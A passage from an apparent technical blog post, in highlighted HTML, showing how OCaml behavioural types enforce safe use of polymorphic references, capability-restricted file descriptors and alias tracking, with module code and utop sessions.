  <span class="k">type</span> <span class="k">'</span><span class="n">c</span> <span class="n">ref</span> <span class="k">constraint</span> <span class="k">'</span><span class="n">c</span> <span class="o">=</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span><span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">rw_prot</span>
  <span class="o">...</span>
<span class="k">end</span>
</code></pre></div></div>

<p>As before, the reference holds values of <code class="language-plaintext highlighter-rouge">'a</code> with the behaviour given by <code class="language-plaintext highlighter-rouge">'b</code>.
The reference can either by read multiple times at <code class="language-plaintext highlighter-rouge">'a</code> or written once at <code class="language-plaintext highlighter-rouge">'c</code>
after which the reference holds values of type <code class="language-plaintext highlighter-rouge">'c</code>. The rest of the operations
are defined as usual:</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">module</span> <span class="k">type</span> <span class="nc">PolyRef</span> <span class="o">=</span>
<span class="k">sig</span>
  <span class="o">...</span>
  <span class="k">val</span> <span class="n">ref</span>  <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span><span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">rw_prot</span> <span class="n">ref</span>
  <span class="k">val</span> <span class="n">read</span>  <span class="o">:</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span><span class="p">[</span><span class="o">&gt;</span> <span class="nt">`Read</span> <span class="k">of</span> <span class="k">'</span><span class="n">a</span> <span class="o">*</span> <span class="k">'</span><span class="n">b</span><span class="p">])</span> <span class="n">rw_prot</span> <span class="n">ref</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="o">*</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span><span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">rw_prot</span> <span class="n">ref</span>
  <span class="k">val</span> <span class="n">write</span> <span class="o">:</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span><span class="p">[</span><span class="o">&gt;</span> <span class="nt">`Write</span> <span class="k">of</span> <span class="k">'</span><span class="n">b</span> <span class="o">*</span> <span class="p">(</span><span class="k">'</span><span class="n">b</span><span class="o">,</span><span class="k">'</span><span class="n">c</span><span class="p">)</span> <span class="n">rw_prot</span><span class="p">])</span> <span class="n">rw_prot</span> <span class="n">ref</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">b</span> <span class="o">-&gt;</span>
    <span class="p">(</span><span class="k">'</span><span class="n">b</span><span class="o">,</span><span class="k">'</span><span class="n">c</span><span class="p">)</span> <span class="n">rw_prot</span> <span class="n">ref</span>
  <span class="k">val</span> <span class="n">branch</span> <span class="o">:</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="p">[</span><span class="o">&gt;</span><span class="p">]</span> <span class="k">as</span> <span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">rw_prot</span> <span class="n">ref</span> <span class="o">-&gt;</span> <span class="p">((</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="p">[</span><span class="o">&gt;</span><span class="p">]</span> <span class="k">as</span> <span class="k">'</span><span class="n">c</span><span class="p">)</span> <span class="n">rw_prot</span> <span class="n">ref</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="o">-&gt;</span>
    <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="k">'</span><span class="n">c</span><span class="p">)</span> <span class="n">rw_prot</span> <span class="n">ref</span>
<span class="k">end</span>
</code></pre></div></div>

<p>We can now write interesting programs:</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="k">rec</span> <span class="n">foo</span> <span class="n">r</span> <span class="o">=</span>
  <span class="k">let</span> <span class="n">v</span><span class="o">,</span><span class="n">r</span> <span class="o">=</span> <span class="n">read</span> <span class="n">r</span> <span class="k">in</span>
  <span class="k">let</span> <span class="n">r</span> <span class="o">=</span> <span class="n">write</span> <span class="n">r</span> <span class="p">(</span><span class="n">string_of_int</span> <span class="p">(</span><span class="n">v</span><span class="o">+</span><span class="mi">1</span><span class="p">))</span> <span class="k">in</span>
  <span class="k">let</span> <span class="n">v</span><span class="o">,</span><span class="n">r</span> <span class="o">=</span> <span class="n">read</span> <span class="n">r</span> <span class="k">in</span>
  <span class="k">let</span> <span class="n">r</span> <span class="o">=</span> <span class="n">write</span> <span class="n">r</span> <span class="p">(</span><span class="n">int_of_string</span> <span class="n">v</span><span class="p">)</span> <span class="k">in</span>
  <span class="n">foo</span> <span class="n">r</span><span class="p">;;</span>
<span class="k">val</span> <span class="n">foo</span> <span class="o">:</span>
  <span class="p">(</span><span class="kt">int</span><span class="o">,</span>
   <span class="p">[</span><span class="o">&gt;</span> <span class="nt">`Read</span> <span class="k">of</span> <span class="kt">int</span> <span class="o">*</span> <span class="k">'</span><span class="n">a</span>
    <span class="o">|</span> <span class="nt">`Write</span> <span class="k">of</span>
        <span class="kt">string</span> <span class="o">*</span>
        <span class="p">(</span><span class="kt">string</span><span class="o">,</span>
         <span class="p">[</span><span class="o">&gt;</span> <span class="nt">`Read</span> <span class="k">of</span> <span class="kt">string</span> <span class="o">*</span> <span class="k">'</span><span class="n">b</span> <span class="o">|</span> <span class="nt">`Write</span> <span class="k">of</span> <span class="kt">int</span> <span class="o">*</span> <span class="p">(</span><span class="kt">int</span><span class="o">,</span> <span class="k">'</span><span class="n">a</span><span class="p">)</span> <span class="n">rw_prot</span> <span class="p">]</span> <span class="k">as</span> <span class="k">'</span><span class="n">b</span><span class="p">)</span>
        <span class="n">rw_prot</span> <span class="p">]</span>
   <span class="k">as</span> <span class="k">'</span><span class="n">a</span><span class="p">)</span>
  <span class="n">rw_prot</span> <span class="nn">PolyRef</span><span class="p">.</span><span class="n">ref</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">c</span> <span class="o">=</span> <span class="o">&lt;</span><span class="k">fun</span><span class="o">&gt;</span>
</code></pre></div></div>

<p>Observe that <code class="language-plaintext highlighter-rouge">foo</code> reads <code class="language-plaintext highlighter-rouge">r</code> as a integer, updates it as a string, reads it as
a string and then finally writing an integer into it. The inferred type
reflects this change from <code class="language-plaintext highlighter-rouge">int -&gt; string -&gt; int</code>. The implementation of
polymorphic references uses the unsafe <code class="language-plaintext highlighter-rouge">Obj.magic</code> to coerce the contents.
However, the behavioural types ensure that accesses are safe.</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">module</span> <span class="nc">PolyRef</span> <span class="o">:</span> <span class="nc">PolyRef</span> <span class="o">=</span>
<span class="k">struct</span>
  <span class="k">type</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span><span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">rw_prot</span>
    <span class="k">constraint</span> <span class="k">'</span><span class="n">b</span> <span class="o">=</span> <span class="p">[</span><span class="o">&gt;</span> <span class="nt">`Read</span> <span class="k">of</span> <span class="k">'</span><span class="n">a</span> <span class="o">*</span> <span class="k">'</span><span class="n">b</span> <span class="o">|</span> <span class="nt">`Write</span> <span class="k">of</span> <span class="k">'</span><span class="n">c</span> <span class="o">*</span> <span class="p">(</span><span class="k">'</span><span class="n">c</span><span class="o">,_</span><span class="p">)</span> <span class="n">rw_prot</span><span class="p">]</span>

  <span class="k">type</span> <span class="k">'</span><span class="n">a</span> <span class="n">ref</span> <span class="o">=</span>
    <span class="p">{</span><span class="n">contents</span>     <span class="o">:</span> <span class="k">'</span><span class="n">b</span><span class="o">.</span><span class="k">'</span><span class="n">b</span><span class="p">;</span>
     <span class="k">mutable</span> <span class="n">live</span> <span class="o">:</span> <span class="kt">bool</span><span class="p">}</span> <span class="c">(* For linearity *)</span>
     <span class="k">constraint</span> <span class="k">'</span><span class="n">a</span> <span class="o">=</span> <span class="p">(</span><span class="k">'</span><span class="n">b</span><span class="o">,</span><span class="k">'</span><span class="n">c</span><span class="p">)</span> <span class="n">rw_prot</span>

  <span class="k">let</span> <span class="n">ref</span> <span class="n">v</span> <span class="o">=</span> <span class="p">{</span><span class="n">contents</span> <span class="o">=</span> <span class="nn">Obj</span><span class="p">.</span><span class="n">magic</span> <span class="n">v</span><span class="p">;</span> <span class="n">live</span> <span class="o">=</span> <span class="bp">true</span><span class="p">}</span>

  <span class="k">let</span> <span class="n">check</span> <span class="n">r</span> <span class="o">=</span>
    <span class="k">if</span> <span class="n">not</span> <span class="n">r</span><span class="o">.</span><span class="n">live</span> <span class="k">then</span> <span class="k">raise</span> <span class="nc">LinearityViolation</span><span class="p">;</span>
    <span class="n">r</span><span class="o">.</span><span class="n">live</span> <span class="o">&lt;-</span> <span class="bp">false</span>

  <span class="k">let</span> <span class="n">fresh</span> <span class="n">r</span> <span class="o">=</span> <span class="p">{</span><span class="n">r</span> <span class="k">with</span> <span class="n">live</span> <span class="o">=</span> <span class="bp">true</span><span class="p">}</span>

  <span class="k">let</span> <span class="n">read</span> <span class="n">r</span> <span class="o">=</span>
    <span class="n">check</span> <span class="n">r</span><span class="p">;</span>
    <span class="p">(</span><span class="nn">Obj</span><span class="p">.</span><span class="n">magic</span> <span class="n">r</span><span class="o">.</span><span class="n">contents</span><span class="o">,</span> <span class="n">fresh</span> <span class="n">r</span><span class="p">)</span>

  <span class="k">let</span> <span class="n">write</span> <span class="n">r</span> <span class="n">v</span> <span class="o">=</span>
    <span class="n">check</span> <span class="n">r</span><span class="p">;</span>
    <span class="p">{</span> <span class="n">contents</span> <span class="o">=</span> <span class="nn">Obj</span><span class="p">.</span><span class="n">magic</span> <span class="n">v</span><span class="p">;</span> <span class="n">live</span> <span class="o">=</span> <span class="bp">true</span> <span class="p">}</span>

  <span class="k">let</span> <span class="n">branch</span> <span class="n">r</span> <span class="n">_</span> <span class="o">=</span> <span class="n">check</span> <span class="n">r</span><span class="p">;</span> <span class="n">fresh</span> <span class="n">r</span>
<span class="k">end</span>
</code></pre></div></div>

<h2 id="file-descriptors">File descriptors</h2>

<p>We can utilise behavioural types to apply meaningful restrictions to operations
on file descriptors.</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">module</span> <span class="k">type</span> <span class="nc">File_descriptor</span> <span class="o">=</span> <span class="k">sig</span>
  <span class="k">type</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="k">constraint</span> <span class="k">'</span><span class="n">a</span> <span class="o">=</span> <span class="p">[</span><span class="o">&gt;</span><span class="p">]</span>

  <span class="k">val</span> <span class="n">openfile</span> <span class="o">:</span> <span class="kt">string</span> <span class="o">-&gt;</span> <span class="nn">Unix</span><span class="p">.</span><span class="n">open_flag</span> <span class="kt">list</span> <span class="o">-&gt;</span> <span class="nn">Unix</span><span class="p">.</span><span class="n">file_perm</span> <span class="o">-&gt;</span>
    <span class="p">([</span><span class="o">&lt;</span> <span class="nt">`Close</span> <span class="o">|</span> <span class="nt">`Write</span> <span class="k">of</span> <span class="k">'</span><span class="n">a</span> <span class="o">|</span> <span class="nt">`Read</span> <span class="k">of</span> <span class="k">'</span><span class="n">a</span> <span class="o">&gt;</span> <span class="nt">`Close</span><span class="p">]</span> <span class="k">as</span> <span class="k">'</span><span class="n">a</span><span class="p">)</span> <span class="n">t</span>
  <span class="k">val</span> <span class="n">close</span> <span class="o">:</span> <span class="p">[</span><span class="o">&gt;</span> <span class="nt">`Close</span><span class="p">]</span> <span class="n">t</span> <span class="o">-&gt;</span> <span class="kt">unit</span>
  <span class="k">val</span> <span class="n">read</span> <span class="o">:</span> <span class="p">[</span><span class="o">&gt;</span> <span class="nt">`Read</span> <span class="k">of</span> <span class="k">'</span><span class="n">a</span><span class="p">]</span> <span class="n">t</span> <span class="o">-&gt;</span> <span class="n">bytes</span> <span class="o">-&gt;</span> <span class="kt">int</span> <span class="o">-&gt;</span> <span class="kt">int</span> <span class="o">-&gt;</span> <span class="kt">int</span> <span class="o">*</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span>
  <span class="k">val</span> <span class="n">write</span> <span class="o">:</span> <span class="p">[</span><span class="o">&gt;</span> <span class="nt">`Write</span> <span class="k">of</span> <span class="k">'</span><span class="n">a</span><span class="p">]</span> <span class="n">t</span> <span class="o">-&gt;</span> <span class="n">bytes</span> <span class="o">-&gt;</span> <span class="kt">int</span> <span class="o">-&gt;</span> <span class="kt">int</span> <span class="o">-&gt;</span> <span class="kt">int</span> <span class="o">*</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span>
  <span class="k">val</span> <span class="n">mk_read_only</span>  <span class="o">:</span> <span class="p">[</span><span class="o">&gt;</span> <span class="nt">`Read</span> <span class="k">of</span> <span class="k">'</span><span class="n">a</span><span class="p">]</span> <span class="n">t</span> <span class="o">-&gt;</span> <span class="p">([</span><span class="nt">`Close</span> <span class="o">|</span> <span class="nt">`Read</span> <span class="k">of</span> <span class="k">'</span><span class="n">a</span><span class="p">]</span> <span class="k">as</span> <span class="k">'</span><span class="n">a</span><span class="p">)</span> <span class="n">t</span>
  <span class="k">val</span> <span class="n">mk_write_only</span> <span class="o">:</span> <span class="p">[</span><span class="o">&gt;</span> <span class="nt">`Write</span> <span class="k">of</span> <span class="k">'</span><span class="n">a</span><span class="p">]</span> <span class="n">t</span> <span class="o">-&gt;</span> <span class="p">([</span><span class="nt">`Close</span> <span class="o">|</span> <span class="nt">`Write</span> <span class="k">of</span> <span class="k">'</span><span class="n">a</span><span class="p">]</span> <span class="k">as</span> <span class="k">'</span><span class="n">a</span><span class="p">)</span> <span class="n">t</span>

  <span class="k">val</span> <span class="n">open_stdin</span>  <span class="o">:</span> <span class="kt">unit</span> <span class="o">-&gt;</span> <span class="p">([</span><span class="nt">`Close</span> <span class="o">|</span> <span class="nt">`Read</span> <span class="k">of</span> <span class="k">'</span><span class="n">a</span><span class="p">]</span> <span class="k">as</span> <span class="k">'</span><span class="n">a</span><span class="p">)</span> <span class="n">t</span>
  <span class="k">val</span> <span class="n">open_stdout</span> <span class="o">:</span> <span class="kt">unit</span> <span class="o">-&gt;</span> <span class="p">([</span><span class="nt">`Close</span> <span class="o">|</span> <span class="nt">`Write</span> <span class="k">of</span> <span class="k">'</span><span class="n">a</span><span class="p">]</span> <span class="k">as</span> <span class="k">'</span><span class="n">a</span><span class="p">)</span> <span class="n">t</span>
  <span class="k">val</span> <span class="n">open_stderr</span> <span class="o">:</span> <span class="kt">unit</span> <span class="o">-&gt;</span> <span class="p">([</span><span class="nt">`Close</span> <span class="o">|</span> <span class="nt">`Write</span> <span class="k">of</span> <span class="k">'</span><span class="n">a</span><span class="p">]</span> <span class="k">as</span> <span class="k">'</span><span class="n">a</span><span class="p">)</span> <span class="n">t</span>
<span class="k">end</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">File_descriptor</code> module is a thin wrapper around the file descriptors from
<code class="language-plaintext highlighter-rouge">Unix</code> module. The file descriptor obtained through openfile permits a subset
of operations to read, write and close. The precise set of capabilities is
dictated by the flags supplied. For example, with <code class="language-plaintext highlighter-rouge">O_RDONLY</code> the type of the
file descriptor obtained should be <code class="language-plaintext highlighter-rouge">([`Close | `Read of 'a] as 'a) t</code>. The
types of standard streams are also restricted. For example,</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">utop</span> <span class="o">#</span> <span class="n">open_stderr</span> <span class="bp">()</span> <span class="o">|&gt;</span> <span class="k">fun</span> <span class="n">fd</span> <span class="o">-&gt;</span> <span class="n">write</span> <span class="n">fd</span> <span class="s2">"hello</span><span class="se">\n</span><span class="s2">"</span> <span class="mi">0</span> <span class="mi">6</span><span class="p">;;</span>
<span class="n">hello</span>
<span class="o">-</span> <span class="o">:</span> <span class="kt">int</span> <span class="o">*</span> <span class="p">([</span> <span class="nt">`Close</span> <span class="o">|</span> <span class="nt">`Write</span> <span class="k">of</span> <span class="k">'</span><span class="n">a</span> <span class="p">]</span> <span class="k">as</span> <span class="k">'</span><span class="n">a</span><span class="p">)</span> <span class="n">t</span> <span class="o">=</span> <span class="p">(</span><span class="mi">6</span><span class="o">,</span> <span class="o">&lt;</span><span class="n">abstr</span><span class="o">&gt;</span><span class="p">)</span>
<span class="n">utop</span> <span class="o">#</span> <span class="n">open_stdin</span> <span class="bp">()</span> <span class="o">|&gt;</span> <span class="k">fun</span> <span class="n">fd</span> <span class="o">-&gt;</span> <span class="n">write</span> <span class="n">fd</span> <span class="s2">"hello</span><span class="se">\n</span><span class="s2">"</span> <span class="mi">0</span> <span class="mi">6</span><span class="p">;;</span>
<span class="nc">Error</span><span class="o">:</span> <span class="nc">This</span> <span class="n">expression</span> <span class="n">has</span> <span class="k">type</span> <span class="p">([</span> <span class="nt">`Close</span> <span class="o">|</span> <span class="nt">`Read</span> <span class="k">of</span> <span class="k">'</span><span class="n">a</span> <span class="p">]</span> <span class="k">as</span> <span class="k">'</span><span class="n">a</span><span class="p">)</span> <span class="n">t</span>
       <span class="n">but</span> <span class="n">an</span> <span class="n">expression</span> <span class="n">was</span> <span class="n">expected</span> <span class="k">of</span> <span class="k">type</span> <span class="p">[</span><span class="o">&gt;</span> <span class="nt">`Write</span> <span class="k">of</span> <span class="p">[</span><span class="o">&gt;</span>  <span class="p">]</span> <span class="p">]</span> <span class="n">t</span>
       <span class="nc">The</span> <span class="n">first</span> <span class="n">variant</span> <span class="k">type</span> <span class="n">does</span> <span class="n">not</span> <span class="n">allow</span> <span class="n">tag</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="nt">`Write</span>
</code></pre></div></div>

<p>File descriptors can also be made read or write only.</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="n">foo</span> <span class="n">fd</span> <span class="o">=</span>
         <span class="k">let</span> <span class="n">_</span><span class="o">,</span> <span class="n">fd</span> <span class="o">=</span> <span class="n">write</span> <span class="n">fd</span>  <span class="s2">"hello</span><span class="se">\n</span><span class="s2">"</span> <span class="mi">0</span> <span class="mi">6</span> <span class="k">in</span>
         <span class="k">let</span> <span class="n">fd</span> <span class="o">=</span> <span class="n">mk_read_only</span> <span class="n">fd</span> <span class="k">in</span>
         <span class="n">write</span> <span class="n">fd</span> <span class="s2">"hello</span><span class="se">\n</span><span class="s2">"</span> <span class="mi">0</span> <span class="mi">6</span><span class="p">;;</span>
<span class="nc">Error</span><span class="o">:</span> <span class="nc">This</span> <span class="n">expression</span> <span class="n">has</span> <span class="k">type</span> <span class="p">([</span> <span class="nt">`Close</span> <span class="o">|</span> <span class="nt">`Read</span> <span class="k">of</span> <span class="k">'</span><span class="n">a</span> <span class="p">]</span> <span class="k">as</span> <span class="k">'</span><span class="n">a</span><span class="p">)</span> <span class="n">t</span>
       <span class="n">but</span> <span class="n">an</span> <span class="n">expression</span> <span class="n">was</span> <span class="n">expected</span> <span class="k">of</span> <span class="k">type</span> <span class="p">[</span><span class="o">&gt;</span> <span class="nt">`Write</span> <span class="k">of</span> <span class="p">[</span><span class="o">&gt;</span>  <span class="p">]</span> <span class="p">]</span> <span class="n">t</span>
       <span class="nc">The</span> <span class="n">first</span> <span class="n">variant</span> <span class="k">type</span> <span class="n">does</span> <span class="n">not</span> <span class="n">allow</span> <span class="n">tag</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="nt">`Write</span>
</code></pre></div></div>

<p>The implementation of the module is straightforward.</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">module</span> <span class="nc">File_descriptor</span> <span class="o">:</span> <span class="nc">File_descriptor</span> <span class="o">=</span> <span class="k">struct</span>
  <span class="k">open</span> <span class="nc">Unix</span>

  <span class="k">type</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">=</span>
    <span class="p">{</span><span class="n">fd</span> <span class="o">:</span> <span class="n">file_descr</span><span class="p">;</span>
     <span class="k">mutable</span> <span class="n">live</span> <span class="o">:</span> <span class="kt">bool</span><span class="p">}</span> <span class="k">constraint</span> <span class="k">'</span><span class="n">a</span> <span class="o">=</span> <span class="p">[</span><span class="o">&gt;</span><span class="p">]</span>

  <span class="k">let</span> <span class="n">mk</span> <span class="n">fd</span> <span class="o">=</span> <span class="p">{</span><span class="n">fd</span> <span class="o">=</span> <span class="n">fd</span><span class="p">;</span> <span class="n">live</span> <span class="o">=</span> <span class="bp">true</span><span class="p">}</span>

  <span class="k">let</span> <span class="n">fresh</span> <span class="n">fd</span> <span class="o">=</span> <span class="p">{</span><span class="n">fd</span> <span class="k">with</span> <span class="n">live</span> <span class="o">=</span> <span class="bp">true</span><span class="p">}</span>

  <span class="k">let</span> <span class="n">check</span> <span class="n">fd</span> <span class="o">=</span>
    <span class="k">if</span> <span class="n">not</span> <span class="n">fd</span><span class="o">.</span><span class="n">live</span> <span class="k">then</span> <span class="k">raise</span> <span class="nc">LinearityViolation</span><span class="p">;</span>
    <span class="n">fd</span><span class="o">.</span><span class="n">live</span> <span class="o">&lt;-</span> <span class="bp">false</span>

  <span class="k">let</span> <span class="n">open_stdin</span> <span class="bp">()</span> <span class="o">=</span> <span class="n">mk</span> <span class="n">stdin</span>
  <span class="k">let</span> <span class="n">open_stdout</span> <span class="bp">()</span> <span class="o">=</span> <span class="n">mk</span> <span class="n">stdout</span>
  <span class="k">let</span> <span class="n">open_stderr</span> <span class="bp">()</span> <span class="o">=</span> <span class="n">mk</span> <span class="n">stderr</span>

  <span class="k">let</span> <span class="n">openfile</span> <span class="n">file</span> <span class="n">flags</span> <span class="n">perm</span> <span class="o">=</span>
    <span class="k">let</span> <span class="n">fd</span> <span class="o">=</span> <span class="n">openfile</span> <span class="n">file</span> <span class="n">flags</span> <span class="n">perm</span> <span class="k">in</span>
    <span class="n">mk</span> <span class="n">fd</span>

  <span class="k">let</span> <span class="n">close</span> <span class="n">fd</span> <span class="o">=</span> <span class="n">check</span> <span class="n">fd</span><span class="p">;</span> <span class="n">close</span> <span class="n">fd</span><span class="o">.</span><span class="n">fd</span>

  <span class="k">let</span> <span class="n">read</span> <span class="n">fd</span> <span class="n">buff</span> <span class="n">ofs</span> <span class="n">len</span> <span class="o">=</span>
    <span class="n">check</span> <span class="n">fd</span><span class="p">;</span>
    <span class="p">(</span><span class="n">read</span> <span class="n">fd</span><span class="o">.</span><span class="n">fd</span> <span class="n">buff</span> <span class="n">ofs</span> <span class="n">len</span><span class="o">,</span> <span class="n">fresh</span> <span class="n">fd</span><span class="p">)</span>

  <span class="k">let</span> <span class="n">write</span> <span class="n">fd</span> <span class="n">buff</span> <span class="n">ofs</span> <span class="n">len</span> <span class="o">=</span>
    <span class="n">check</span> <span class="n">fd</span><span class="p">;</span>
    <span class="p">(</span><span class="n">write</span> <span class="n">fd</span><span class="o">.</span><span class="n">fd</span> <span class="n">buff</span> <span class="n">ofs</span> <span class="n">len</span><span class="o">,</span> <span class="n">fresh</span> <span class="n">fd</span><span class="p">)</span>

  <span class="k">let</span> <span class="n">mk_read_only</span> <span class="n">fd</span> <span class="o">=</span> <span class="n">check</span> <span class="n">fd</span><span class="p">;</span> <span class="n">fresh</span> <span class="n">fd</span>
  <span class="k">let</span> <span class="n">mk_write_only</span> <span class="n">fd</span> <span class="o">=</span> <span class="n">check</span> <span class="n">fd</span><span class="p">;</span> <span class="n">fresh</span> <span class="n">fd</span>
<span class="k">end</span>

</code></pre></div></div>

<h2 id="tracking-aliases">Tracking Aliases</h2>

<p>The final example I will discuss is alias tracking.</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">module</span> <span class="k">type</span> <span class="nc">Alias</span> <span class="o">=</span> <span class="k">sig</span>
  <span class="k">type</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span><span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">t</span> <span class="k">constraint</span> <span class="k">'</span><span class="n">b</span> <span class="o">=</span> <span class="p">[</span><span class="o">&gt;</span><span class="p">]</span>
  <span class="k">val</span> <span class="n">make</span>   <span class="o">:</span> <span class="p">(</span><span class="kt">unit</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="p">[</span><span class="nt">`One</span><span class="p">])</span> <span class="n">t</span>
  <span class="k">val</span> <span class="n">dup</span>    <span class="o">:</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">t</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span><span class="p">[</span><span class="nt">`Succ</span> <span class="k">of</span> <span class="k">'</span><span class="n">b</span><span class="p">])</span> <span class="n">t</span> <span class="o">*</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="p">[</span><span class="nt">`Succ</span> <span class="k">of</span> <span class="k">'</span><span class="n">b</span><span class="p">])</span> <span class="n">t</span>
  <span class="k">val</span> <span class="n">merge</span>  <span class="o">:</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="p">[</span><span class="nt">`Succ</span> <span class="k">of</span> <span class="k">'</span><span class="n">b</span><span class="p">])</span> <span class="n">t</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="p">[</span><span class="nt">`Succ</span> <span class="k">of</span> <span class="k">'</span><span class="n">b</span><span class="p">])</span> <span class="n">t</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">t</span>
  <span class="k">val</span> <span class="n">free</span>   <span class="o">:</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="p">[</span><span class="nt">`One</span><span class="p">])</span> <span class="n">t</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span> <span class="o">-&gt;</span> <span class="kt">unit</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="kt">unit</span>
  <span class="k">val</span> <span class="n">app</span>    <span class="o">:</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span><span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">t</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span> <span class="o">-&gt;</span> <span class="kt">unit</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="kt">unit</span>
<span class="k">end</span>

<span class="k">module</span> <span class="nc">Alias</span> <span class="o">:</span> <span class="nc">Alias</span> <span class="o">=</span> <span class="k">struct</span>
  <span class="k">type</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span><span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">t</span> <span class="o">=</span>
    <span class="p">{</span><span class="n">v</span> <span class="o">:</span> <span class="k">'</span><span class="n">a</span><span class="p">;</span> <span class="k">mutable</span> <span class="n">live</span> <span class="o">:</span> <span class="kt">bool</span><span class="p">}</span> <span class="k">constraint</span> <span class="k">'</span><span class="n">b</span> <span class="o">=</span> <span class="p">[</span><span class="o">&gt;</span><span class="p">]</span>

  <span class="k">let</span> <span class="n">fresh</span> <span class="n">a</span> <span class="o">=</span> <span class="p">{</span><span class="n">a</span> <span class="k">with</span> <span class="n">live</span> <span class="o">=</span> <span class="bp">true</span><span class="p">}</span>

  <span class="k">let</span> <span class="n">check</span> <span class="n">a</span> <span class="o">=</span>
    <span class="k">if</span> <span class="n">not</span> <span class="n">a</span><span class="o">.</span><span class="n">live</span> <span class="k">then</span> <span class="k">raise</span> <span class="nc">LinearityViolation</span><span class="p">;</span>
    <span class="n">a</span><span class="o">.</span><span class="n">live</span> <span class="o">&lt;-</span> <span class="bp">false</span>

  <span class="k">let</span> <span class="n">make</span> <span class="n">f</span> <span class="o">=</span> <span class="p">{</span><span class="n">v</span> <span class="o">=</span> <span class="n">f</span> <span class="bp">()</span><span class="p">;</span> <span class="n">live</span> <span class="o">=</span> <span class="bp">true</span><span class="p">}</span>
  <span class="k">let</span> <span class="n">dup</span> <span class="n">x</span> <span class="o">=</span> <span class="n">check</span> <span class="n">x</span><span class="p">;</span> <span class="p">(</span><span class="n">fresh</span> <span class="n">x</span><span class="o">,</span> <span class="n">fresh</span> <span class="n">x</span><span class="p">)</span>
  <span class="k">let</span> <span class="n">merge</span> <span class="n">x</span> <span class="n">y</span> <span class="o">=</span> <span class="n">check</span> <span class="n">x</span><span class="p">;</span> <span class="n">check</span> <span class="n">y</span><span class="p">;</span> <span class="n">fresh</span> <span class="n">x</span>
  <span class="k">let</span> <span class="n">free</span> <span class="n">x</span> <span class="n">f</span> <span class="o">=</span> <span class="n">check</span> <span class="n">x</span><span class="p">;</span> <span class="n">f</span> <span class="n">x</span><span class="o">.</span><span class="n">v</span>
  <span class="k">let</span> <span class="n">app</span> <span class="n">x</span> <span class="n">f</span> <span class="o">=</span> <span class="n">f</span> <span class="n">x</span><span class="o">.</span><span class="n">v</span>
<span class="k">end</span>
</code></pre></div></div>

<p>The type variable <code class="language-plaintext highlighter-rouge">'b</code> tracks aliases as a depth in the aliasing tree. New
resources are initialised with <code class="language-plaintext highlighter-rouge">make</code>, and the resultant resource has type
<code class="language-plaintext highlighter-rouge">('a,[`One]) t</code> indicating that there is just one reference to this resource.
